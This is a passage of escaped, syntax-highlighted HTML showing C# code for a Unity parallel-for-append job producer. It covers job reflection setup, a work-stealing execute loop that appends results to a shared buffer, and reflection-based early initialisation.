\u003c/span\u003e\u003cspan class=\"k\"\u003einternal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereadonly\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSharedStatic\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobReflectionData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSharedStatic\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetOrCreate\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"na\"\u003e[BurstDiscard]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eInitialize\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ejobReflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eZero\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobReflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCreateJobReflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eExecuteJobFunction\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003eExecute\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edelegate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eExecuteJobFunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eadditionalPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebufferRangePatchData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobRanges\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eranges\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eExecute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eadditionalPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebufferRangePatchData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobRanges\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eranges\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebegin\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetWorkStealingRange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eranges\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebegin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePatchBufferMinMaxRanges\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebufferRangePatchData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUnsafeUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAddressOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebegin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebegin\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eendThatCompilerCanSeeWillNeverChange\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebegin\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eendThatCompilerCanSeeWillNeverChange\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobData\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eExecute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eInterlocked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eIncrement\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003em_length\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003ePtr\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEarlyJobInit\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eiType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eGetInterfaces\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eiType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eIsGenericType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eiType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetGenericTypeDefinition\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egenericArgs\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eiType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetGenericArguments\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etypeArgs\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egenericArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etypeArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eArray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCopy\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egenericArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etypeArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egenericArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproducerType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eMakeGenericType\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etypeArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproducerType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetMethod\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Initialize\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eInvoke\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 